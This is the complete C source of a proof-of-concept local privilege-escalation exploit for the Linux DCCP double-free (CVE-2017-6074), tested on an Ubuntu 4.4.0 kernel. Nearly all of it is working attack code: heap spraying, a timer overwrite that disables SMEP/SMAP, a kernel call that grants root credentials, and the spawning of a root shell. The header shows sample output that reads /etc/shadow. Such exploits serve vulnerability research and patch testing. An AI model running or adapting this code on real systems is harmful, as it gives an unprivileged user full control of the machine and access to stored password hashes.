Linux Kernel 4.4.0 Ubuntu DCCP Double-Free Privilege Escalation

`// A proof-of-concept local root exploit for CVE-2017-6074.  
// Includes a semireliable SMAP/SMEP bypass.  
// Tested on 4.4.0-62-generic #83-Ubuntu kernel.  
// https://github.com/xairy/kernel-exploits/tree/master/CVE-2017-6074  
//  
// Usage:  
// $ gcc poc.c -o pwn  
// $ ./pwn  
// [.] namespace sandbox setup successfully  
// [.] disabling SMEP & SMAP  
// [.] scheduling 0xffffffff81064550(0x406e0)  
// [.] waiting for the timer to execute  
// [.] done  
// [.] SMEP & SMAP should be off now  
// [.] getting root  
// [.] executing 0x402043  
// [.] done  
// [.] should be root now  
// [.] checking if we got root  
// [+] got r00t ^_^  
// [!] don't kill the exploit binary, the kernel will crash  
// # cat /etc/shadow  
// ...  
// daemon:*:17149:0:99999:7:::  
// bin:*:17149:0:99999:7:::  
// sys:*:17149:0:99999:7:::  
// sync:*:17149:0:99999:7:::  
// games:*:17149:0:99999:7:::  
// ...  
//  
// Andrey Konovalov <[email protected]>  
  
#define _GNU_SOURCE  
  
#include <errno.h>  
#include <fcntl.h>  
#include <stdarg.h>  
#include <stdbool.h>  
#include <stddef.h>  
#include <stdint.h>  
#include <stdio.h>  
#include <stdlib.h>  
#include <string.h>  
#include <unistd.h>  
  
#include <sched.h>  
  
#include <sys/socket.h>  
#include <sys/syscall.h>  
#include <sys/types.h>  
#include <sys/wait.h>  
  
#include <arpa/inet.h>  
#include <linux/if_packet.h>  
#include <netinet/if_ether.h>  
  
#define SMEP_SMAP_BYPASS 1  
  
// Needed for local root.  
#define COMMIT_CREDS 0xffffffff810a2840L  
#define PREPARE_KERNEL_CRED 0xffffffff810a2c30L  
#define SHINFO_OFFSET 1728  
  
// Needed for SMEP_SMAP_BYPASS.  
#define NATIVE_WRITE_CR4 0xffffffff81064550ul  
#define CR4_DESIRED_VALUE 0x406e0ul  
#define TIMER_OFFSET (728 + 48 + 104)  
  
#define KMALLOC_PAD 128  
#define KMALLOC_WARM 32  
#define CATCH_FIRST 6  
#define CATCH_AGAIN 16  
#define CATCH_AGAIN_SMALL 64  
  
// Port is incremented on each use.  
static int port = 11000;  
  
void debug(const char *msg) {  
/*  
char buffer[32];  
snprintf(&buffer[0], sizeof(buffer), "echo '%s' > /dev/kmsg\n", msg);  
system(buffer);  
*/  
}  
  
// * * * * * * * * * * * * * * Kernel structs * * * * * * * * * * * * * * * *  
  
struct ubuf_info {  
uint64_t callback; // void (*callback)(struct ubuf_info *, bool)  
uint64_t ctx; // void *  
uint64_t desc; // unsigned long  
};  
  
struct skb_shared_info {  
uint8_t nr_frags; // unsigned char  
uint8_t tx_flags; // __u8  
uint16_t gso_size; // unsigned short  
uint16_t gso_segs; // unsigned short  
uint16_t gso_type; // unsigned short  
uint64_t frag_list; // struct sk_buff *  
uint64_t hwtstamps; // struct skb_shared_hwtstamps  
uint32_t tskey; // u32  
uint32_t ip6_frag_id; // __be32  
uint32_t dataref; // atomic_t  
uint64_t destructor_arg; // void *  
uint8_t frags[16][17]; // skb_frag_t frags[MAX_SKB_FRAGS];  
};  
  
struct ubuf_info ui;  
  
void init_skb_buffer(char* buffer, void *func) {  
memset(&buffer[0], 0, 2048);  
  
struct skb_shared_info *ssi = (struct skb_shared_info *)&buffer[SHINFO_OFFSET];  
  
ssi->tx_flags = 0xff;  
ssi->destructor_arg = (uint64_t)&ui;  
ssi->nr_frags = 0;  
ssi->frag_list = 0;  
  
ui.callback = (unsigned long)func;  
}  
  
struct timer_list {  
void *next;  
void *prev;  
unsigned long expires;  
void (*function)(unsigned long);  
unsigned long data;  
unsigned int flags;  
int slack;  
};  
  
void init_timer_buffer(char* buffer, void *func, unsigned long arg) {  
memset(&buffer[0], 0, 2048);  
  
struct timer_list* timer = (struct timer_list *)&buffer[TIMER_OFFSET];  
  
timer->next = 0;  
timer->prev = 0;  
timer->expires = 4294943360;  
timer->function = func;  
timer->data = arg;  
timer->flags = 1;  
timer->slack = -1;  
}  
  
// * * * * * * * * * * * * * * * Trigger * * * * * * * * * * * * * * * * * *  
  
struct dccp_handle {  
struct sockaddr_in6 sa;  
int s1;  
int s2;  
};  
  
void dccp_init(struct dccp_handle *handle, int port) {  
handle->sa.sin6_family = AF_INET6;  
handle->sa.sin6_port = htons(port);  
inet_pton(AF_INET6, "::1", &handle->sa.sin6_addr);  
handle->sa.sin6_flowinfo = 0;  
handle->sa.sin6_scope_id = 0;  
  
handle->s1 = socket(PF_INET6, SOCK_DCCP, IPPROTO_IP);  
if (handle->s1 == -1) {  
perror("socket(SOCK_DCCP)");  
exit(EXIT_FAILURE);  
}  
  
int rv = bind(handle->s1, &handle->sa, sizeof(handle->sa));  
if (rv != 0) {  
perror("bind()");  
exit(EXIT_FAILURE);  
}  
  
rv = listen(handle->s1, 0x9);  
if (rv != 0) {  
perror("listen()");  
exit(EXIT_FAILURE);  
}  
  
int optval = 8;  
rv = setsockopt(handle->s1, IPPROTO_IPV6, IPV6_RECVPKTINFO,  
&optval, sizeof(optval));  
if (rv != 0) {  
perror("setsockopt(IPV6_RECVPKTINFO)");  
exit(EXIT_FAILURE);  
}  
  
handle->s2 = socket(PF_INET6, SOCK_DCCP, IPPROTO_IP);  
if (handle->s1 == -1) {  
perror("socket(SOCK_DCCP)");  
exit(EXIT_FAILURE);  
}  
}  
  
void dccp_kmalloc_kfree(struct dccp_handle *handle) {  
int rv = connect(handle->s2, &handle->sa, sizeof(handle->sa));  
if (rv != 0) {  
perror("connect(SOCK_DCCP)");  
exit(EXIT_FAILURE);  
}  
}  
  
void dccp_kfree_again(struct dccp_handle *handle) {  
int rv = shutdown(handle->s1, SHUT_RDWR);  
if (rv != 0) {  
perror("shutdown(SOCK_DCCP)");  
exit(EXIT_FAILURE);  
}  
}  
  
void dccp_destroy(struct dccp_handle *handle) {  
close(handle->s1);  
close(handle->s2);  
}  
  
// * * * * * * * * * * * * * * Heap spraying * * * * * * * * * * * * * * * * *  
  
struct udp_fifo_handle {  
int fds[2];  
};  
  
void udp_fifo_init(struct udp_fifo_handle* handle) {  
int rv = socketpair(AF_LOCAL, SOCK_DGRAM, 0, handle->fds);  
if (rv != 0) {  
perror("socketpair()");  
exit(EXIT_FAILURE);  
}  
}  
  
void udp_fifo_destroy(struct udp_fifo_handle* handle) {  
close(handle->fds[0]);  
close(handle->fds[1]);  
}  
  
void udp_fifo_kmalloc(struct udp_fifo_handle* handle, char *buffer) {  
int rv = send(handle->fds[0], buffer, 1536, 0);  
if (rv != 1536) {  
perror("send()");  
exit(EXIT_FAILURE);  
}  
}  
  
void udp_fifo_kmalloc_small(struct udp_fifo_handle* handle) {  
char buffer[128];  
int rv = send(handle->fds[0], &buffer[0], 128, 0);  
if (rv != 128) {  
perror("send()");  
exit(EXIT_FAILURE);  
}  
}  
  
void udp_fifo_kfree(struct udp_fifo_handle* handle) {  
char buffer[2048];  
int rv = recv(handle->fds[1], &buffer[0], 1536, 0);  
if (rv != 1536) {  
perror("recv()");  
exit(EXIT_FAILURE);  
}  
}  
  
int timer_kmalloc() {  
int s = socket(AF_PACKET, SOCK_DGRAM, htons(ETH_P_ARP));  
if (s == -1) {  
perror("socket(SOCK_DGRAM)");  
exit(EXIT_FAILURE);  
}  
return s;  
}  
  
#define CONF_RING_FRAMES 1  
void timer_schedule(int handle, int timeout) {  
int optval = TPACKET_V3;  
int rv = setsockopt(handle, SOL_PACKET, PACKET_VERSION,  
&optval, sizeof(optval));  
if (rv != 0) {  
perror("setsockopt(PACKET_VERSION)");  
exit(EXIT_FAILURE);  
}  
struct tpacket_req3 tp;  
memset(&tp, 0, sizeof(tp));  
tp.tp_block_size = CONF_RING_FRAMES * getpagesize();  
tp.tp_block_nr = 1;  
tp.tp_frame_size = getpagesize();  
tp.tp_frame_nr = CONF_RING_FRAMES;  
tp.tp_retire_blk_tov = timeout;  
rv = setsockopt(handle, SOL_PACKET, PACKET_RX_RING,  
(void *)&tp, sizeof(tp));  
if (rv != 0) {  
perror("setsockopt(PACKET_RX_RING)");  
exit(EXIT_FAILURE);  
}  
}  
  
void socket_sendmmsg(int sock, char *buffer) {  
struct mmsghdr msg[1];  
  
msg[0].msg_hdr.msg_iovlen = 0;  
  
// Buffer to kmalloc.  
msg[0].msg_hdr.msg_control = &buffer[0];  
msg[0].msg_hdr.msg_controllen = 2048;  
  
// Make sendmmsg exit easy with EINVAL.  
msg[0].msg_hdr.msg_name = "root";  
msg[0].msg_hdr.msg_namelen = 1;  
  
int rv = syscall(__NR_sendmmsg, sock, msg, 1, 0);  
if (rv == -1 && errno != EINVAL) {  
perror("[-] sendmmsg()");  
exit(EXIT_FAILURE);  
}  
}  
  
void sendmmsg_kmalloc_kfree(int port, char *buffer) {  
int sock[2];  
  
int rv = socketpair(AF_LOCAL, SOCK_DGRAM, 0, sock);  
if (rv != 0) {  
perror("socketpair()");  
exit(EXIT_FAILURE);  
}  
  
socket_sendmmsg(sock[0], buffer);  
  
close(sock[0]);  
}  
  
// * * * * * * * * * * * * * * Heap warming * * * * * * * * * * * * * * * * *  
  
void dccp_connect_pad(struct dccp_handle *handle, int port) {  
handle->sa.sin6_family = AF_INET6;  
handle->sa.sin6_port = htons(port);  
inet_pton(AF_INET6, "::1", &handle->sa.sin6_addr);  
handle->sa.sin6_flowinfo = 0;  
handle->sa.sin6_scope_id = 0;  
  
handle->s1 = socket(PF_INET6, SOCK_DCCP, IPPROTO_IP);  
if (handle->s1 == -1) {  
perror("socket(SOCK_DCCP)");  
exit(EXIT_FAILURE);  
}  
  
int rv = bind(handle->s1, &handle->sa, sizeof(handle->sa));  
if (rv != 0) {  
perror("bind()");  
exit(EXIT_FAILURE);  
}  
  
rv = listen(handle->s1, 0x9);  
if (rv != 0) {  
perror("listen()");  
exit(EXIT_FAILURE);  
}  
  
handle->s2 = socket(PF_INET6, SOCK_DCCP, IPPROTO_IP);  
if (handle->s1 == -1) {  
perror("socket(SOCK_DCCP)");  
exit(EXIT_FAILURE);  
}  
  
rv = connect(handle->s2, &handle->sa, sizeof(handle->sa));  
if (rv != 0) {  
perror("connect(SOCK_DCCP)");  
exit(EXIT_FAILURE);  
}  
}  
  
void dccp_kmalloc_pad() {  
int i;  
struct dccp_handle handle;  
for (i = 0; i < 4; i++) {  
dccp_connect_pad(&handle, port++);  
}  
}  
  
void timer_kmalloc_pad() {  
int i;  
for (i = 0; i < 4; i++) {  
socket(AF_PACKET, SOCK_DGRAM, htons(ETH_P_ARP));  
}  
}  
  
void udp_kmalloc_pad() {  
int i, j;  
char dummy[2048];  
struct udp_fifo_handle uh[16];  
for (i = 0; i < KMALLOC_PAD / 16; i++) {  
udp_fifo_init(&uh[i]);  
for (j = 0; j < 16; j++)  
udp_fifo_kmalloc(&uh[i], &dummy[0]);  
}  
}  
  
void kmalloc_pad() {  
debug("dccp kmalloc pad");  
dccp_kmalloc_pad();  
debug("timer kmalloc pad");  
timer_kmalloc_pad();  
debug("udp kmalloc pad");  
udp_kmalloc_pad();  
}  
  
void udp_kmalloc_warm() {  
int i, j;  
char dummy[2048];  
struct udp_fifo_handle uh[16];  
for (i = 0; i < KMALLOC_WARM / 16; i++) {  
udp_fifo_init(&uh[i]);  
for (j = 0; j < 16; j++)  
udp_fifo_kmalloc(&uh[i], &dummy[0]);  
}  
for (i = 0; i < KMALLOC_WARM / 16; i++) {  
for (j = 0; j < 16; j++)  
udp_fifo_kfree(&uh[i]);  
}  
}  
  
void kmalloc_warm() {  
udp_kmalloc_warm();  
}  
  
// * * * * * * * * * * * * * Disabling SMEP/SMAP * * * * * * * * * * * * * * *  
  
// Executes func(arg) from interrupt context multiple times.  
void kernel_exec_irq(void *func, unsigned long arg) {  
int i;  
struct dccp_handle dh;  
struct udp_fifo_handle uh1, uh2, uh3, uh4;  
char dummy[2048];  
char buffer[2048];  
  
printf("[.] scheduling %p(%p)\n", func, (void *)arg);  
  
memset(&dummy[0], 0xc3, 2048);  
init_timer_buffer(&buffer[0], func, arg);  
  
udp_fifo_init(&uh1);  
udp_fifo_init(&uh2);  
udp_fifo_init(&uh3);  
udp_fifo_init(&uh4);  
  
debug("kmalloc pad");  
kmalloc_pad();  
  
debug("kmalloc warm");  
kmalloc_warm();  
  
debug("dccp init");  
dccp_init(&dh, port++);  
  
debug("dccp kmalloc kfree");  
dccp_kmalloc_kfree(&dh);  
  
debug("catch 1");  
for (i = 0; i < CATCH_FIRST; i++)  
udp_fifo_kmalloc(&uh1, &dummy[0]);  
  
debug("dccp kfree again");  
dccp_kfree_again(&dh);  
  
debug("catch 2");  
for (i = 0; i < CATCH_FIRST; i++)  
udp_fifo_kmalloc(&uh2, &dummy[0]);  
  
int timers[CATCH_FIRST];  
debug("catch 1 -> timer");  
for (i = 0; i < CATCH_FIRST; i++) {  
udp_fifo_kfree(&uh1);  
timers[i] = timer_kmalloc();  
}  
  
debug("catch 1 small");  
for (i = 0; i < CATCH_AGAIN_SMALL; i++)  
udp_fifo_kmalloc_small(&uh4);  
  
debug("schedule timers");  
for (i = 0; i < CATCH_FIRST; i++)  
timer_schedule(timers[i], 500);  
  
debug("catch 2 -> overwrite timers");  
for (i = 0; i < CATCH_FIRST; i++) {  
udp_fifo_kfree(&uh2);  
udp_fifo_kmalloc(&uh3, &buffer[0]);  
}  
  
debug("catch 2 small");  
for (i = 0; i < CATCH_AGAIN_SMALL; i++)  
udp_fifo_kmalloc_small(&uh4);  
  
printf("[.] waiting for the timer to execute\n");  
  
debug("wait");  
sleep(1);  
  
printf("[.] done\n");  
}  
  
void disable_smep_smap() {  
printf("[.] disabling SMEP & SMAP\n");  
kernel_exec_irq((void *)NATIVE_WRITE_CR4, CR4_DESIRED_VALUE);  
printf("[.] SMEP & SMAP should be off now\n");  
}  
  
// * * * * * * * * * * * * * * * Getting root * * * * * * * * * * * * * * * * *  
  
// Executes func() from process context.  
void kernel_exec(void *func) {  
int i;  
struct dccp_handle dh;  
struct udp_fifo_handle uh1, uh2, uh3;  
char dummy[2048];  
char buffer[2048];  
  
printf("[.] executing %p\n", func);  
  
memset(&dummy[0], 0, 2048);  
init_skb_buffer(&buffer[0], func);  
  
udp_fifo_init(&uh1);  
udp_fifo_init(&uh2);  
udp_fifo_init(&uh3);  
  
debug("kmalloc pad");  
kmalloc_pad();  
  
debug("kmalloc warm");  
kmalloc_warm();  
  
debug("dccp init");  
dccp_init(&dh, port++);  
  
debug("dccp kmalloc kfree");  
dccp_kmalloc_kfree(&dh);  
  
debug("catch 1");  
for (i = 0; i < CATCH_FIRST; i++)  
udp_fifo_kmalloc(&uh1, &dummy[0]);  
  
debug("dccp kfree again:");  
dccp_kfree_again(&dh);  
  
debug("catch 2");  
for (i = 0; i < CATCH_FIRST; i++)  
udp_fifo_kmalloc(&uh2, &dummy[0]);  
  
debug("catch 1 -> overwrite");  
for (i = 0; i < CATCH_FIRST; i++) {  
udp_fifo_kfree(&uh1);  
sendmmsg_kmalloc_kfree(port++, &buffer[0]);  
}  
debug("catch 2 -> free & trigger");  
for (i = 0; i < CATCH_FIRST; i++)  
udp_fifo_kfree(&uh2);  
  
debug("catch 1 & 2");  
for (i = 0; i < CATCH_AGAIN; i++)  
udp_fifo_kmalloc(&uh3, &dummy[0]);  
  
printf("[.] done\n");  
}  
  
typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred);  
typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred);  
  
_commit_creds commit_creds = (_commit_creds)COMMIT_CREDS;  
_prepare_kernel_cred prepare_kernel_cred = (_prepare_kernel_cred)PREPARE_KERNEL_CRED;  
  
void get_root_payload(void) {  
commit_creds(prepare_kernel_cred(0));  
}  
  
void get_root() {  
printf("[.] getting root\n");  
kernel_exec(&get_root_payload);  
printf("[.] should be root now\n");  
}  
  
// * * * * * * * * * * * * * * * * * Main * * * * * * * * * * * * * * * * * *  
  
void exec_shell() {  
char *shell = "/bin/bash";  
char *args[] = {shell, "-i", NULL};  
execve(shell, args, NULL);  
}  
  
void fork_shell() {  
pid_t rv;  
  
rv = fork();  
if (rv == -1) {  
perror("fork()");  
exit(EXIT_FAILURE);  
}  
  
if (rv == 0) {  
exec_shell();  
}  
}  
  
bool is_root() {  
// We can't simple check uid, since we're running inside a namespace  
// with uid set to 0. Try opening /etc/shadow instead.  
int fd = open("/etc/shadow", O_RDONLY);  
if (fd == -1)  
return false;  
close(fd);  
return true;  
}  
  
void check_root() {  
printf("[.] checking if we got root\n");  
  
if (!is_root()) {  
printf("[-] something went wrong =(\n");  
printf("[!] don't kill the exploit binary, the kernel will crash\n");  
return;  
}  
  
printf("[+] got r00t ^_^\n");  
printf("[!] don't kill the exploit binary, the kernel will crash\n");  
  
// Fork and exec instead of just doing the exec to avoid freeing  
// skbuffs and prevent crashes due to a allocator corruption.  
fork_shell();  
}  
  
static bool write_file(const char* file, const char* what, ...)  
{  
char buf[1024];  
va_list args;  
va_start(args, what);  
vsnprintf(buf, sizeof(buf), what, args);  
va_end(args);  
buf[sizeof(buf) - 1] = 0;  
int len = strlen(buf);  
  
int fd = open(file, O_WRONLY | O_CLOEXEC);  
if (fd == -1)  
return false;  
if (write(fd, buf, len) != len) {  
close(fd);  
return false;  
}  
close(fd);  
return true;  
}  
  
void setup_sandbox() {  
int real_uid = getuid();  
int real_gid = getgid();  
  
if (unshare(CLONE_NEWUSER) != 0) {  
perror("unshare(CLONE_NEWUSER)");  
exit(EXIT_FAILURE);  
}  
  
if (unshare(CLONE_NEWNET) != 0) {  
perror("unshare(CLONE_NEWUSER)");  
exit(EXIT_FAILURE);  
}  
  
if (!write_file("/proc/self/setgroups", "deny")) {  
perror("write_file(/proc/self/set_groups)");  
exit(EXIT_FAILURE);  
}  
if (!write_file("/proc/self/uid_map", "0 %d 1\n", real_uid)){  
perror("write_file(/proc/self/uid_map)");  
exit(EXIT_FAILURE);  
}  
if (!write_file("/proc/self/gid_map", "0 %d 1\n", real_gid)) {  
perror("write_file(/proc/self/gid_map)");  
exit(EXIT_FAILURE);  
}  
  
cpu_set_t my_set;  
CPU_ZERO(&my_set);  
CPU_SET(0, &my_set);  
if (sched_setaffinity(0, sizeof(my_set), &my_set) != 0) {  
perror("sched_setaffinity()");  
exit(EXIT_FAILURE);  
}  
  
if (system("/sbin/ifconfig lo up") != 0) {  
perror("system(/sbin/ifconfig lo up)");  
exit(EXIT_FAILURE);  
}  
  
printf("[.] namespace sandbox setup successfully\n");  
}  
  
int main() {  
setup_sandbox();  
  
#if SMEP_SMAP_BYPASS  
disable_smep_smap();  
#endif  
  
get_root();  
  
check_root();  
  
while (true) {  
sleep(100);  
}  
  
return 0;  
}  
  
`